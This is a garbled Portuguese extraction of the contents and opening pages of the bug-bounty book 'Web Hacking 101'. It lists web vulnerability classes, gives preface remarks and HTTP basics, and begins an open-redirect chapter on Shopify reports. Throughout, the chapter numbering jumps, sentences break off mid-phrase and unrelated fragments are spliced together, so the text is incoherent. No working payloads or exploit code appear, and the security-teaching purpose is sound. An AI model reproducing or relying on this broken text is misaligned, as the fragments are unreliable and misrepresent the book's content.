1. Prefácio . ..... . .... . ..... ..... . .... . ..... . .... . ..... 1

2. Introdução Como . . . . . . . . . . . . . . . ..... . .... . ..... . .... . ..... 3

Apenas 30 exemplos e minha primeira .... . .... . ..... . .... . ..... 4

advertência e um favor . ..... . .... . ..... . .... . ..... 9

3. Antecedentes . . . . . .... . ..... ..... . .... . ..... . .... . ..... 10

4. Descrição das vulnerabilidades de ... ..... . .... . ..... . .... . ..... 13

5. Descrição da Poluição do . ..... ..... . .... . ..... . .... . ..... 19

6. Falsificação de solicitação entre sites . . . .. .. . . . . .... . ..... . .... . ..... 28

7. Injeção de HTML . . . . . . . . . . . . . ..... ..... . ..... . .... . ..... 38

8. Injeção de CRLF . . . . . . . . . . . . . . . . . . . . . . . . . ..... . .... . ..... 44

9. Script entre sites . . . . . .....

10. Injeção de modelo . . . . . . . . . . . . . . . . . .... . ..... . .... . ..... 70

11. Injeção de SQL . . . . . . . . . . . . . . . . . . . . .... . ..... . .... . ..... 78

Resumo . . ..... . .... . ..... ..... . .... . ..... . .... . ..... 89

12. Falsificação de solicitação do lado do servidor . .. . .. .

16. Descrição da Aquisição . . . . . . . . . ..... . .... . ..... . .... . ..... 132

Exemplos . . . . . . . . . . . . . . . . . . . . . . . . .... . ..... . .... . ..... 132

18. Descrição das referências de objetos .....

19. OAuth . . . . . . . . . . . . . . . . . . . . . . . . . .... . ..... . .... . ..... 161

8. Acessando a instalação do Memcache do PornHub . . . . . . . . . . . . . . . . . . 183

22. Relatórios de Vulnerabilidade . . .. . . . . . ..... . .... . ..... . .... . . . . . . 199

Censys . . . . . . . . . . . . . . ..... ..... . .... . ..... . .... . ..... 210

De nossa compreensão do desenvolvimento de software, descobrimos rapidamente que essas habilidades

Boa leitura e feliz hacking!

Lembre-se de hackear com responsabilidade.

Michiel Prins e Jobert Abma, cofundadores da HackerOne

Como tudo começou

Mas buscando mais respostas, fui abrindo mais e mais portas.

E assim nasceu o Web Hacking 101.

Apenas 30 exemplos e minha primeira venda

Mas em poucas horas, fiz minha primeira venda.

Para quem este livro foi escrito

Nessa nota, cada capítulo de tipo de vulnerabilidade é estruturado da mesma maneira:

• Comece com uma descrição do tipo de vulnerabilidade; •

• Minha estimativa da dificuldade em encontrar a vulnerabilidade •

• A data em que a vulnerabilidade foi relatada • O

Visão geral do capítulo

O Capítulo 12 aborda as vulnerabilidades de Entidade Externa XML resultantes da análise de sites de

O Capítulo 13 aborda a Execução Remota de Código ou a capacidade de um invasor executar código

O capítulo 21 muda de marcha. Aqui, mergulhamos nas ferramentas de hacking recomendadas. O

Palavra de Advertência e um Favor

Quando você digita http://www.google.com na barra de endereços do navegador e pressiona Enter,

• Seu navegador extrai o nome de domínio do URL, www.google.com. • Seu

Tipo de conteúdo: texto/html

Agora, tratando-se especificamente do navegador, da internet e do HTML, conforme mencionado

O método OPTIONS é usado para solicitar informações de um servidor sobre as opções de

4. Vulnerabilidades de redirecionamento aberto

Vulnerabilidades de redirecionamento aberto

1. Redirecionamento aberto da instalação do tema Shopify

URL: app.shopify.com/services/google/themes/preview/supply–blue?domain_name=XX Link do relatório: https://

Data do relatório: 25 de novembro de 2015

Recompensa paga: $ 500

2. Redirecionamento aberto de login da Shopify

Dificuldade: Média Url:

http://mystore.myshopify.com/account/login Link do relatório: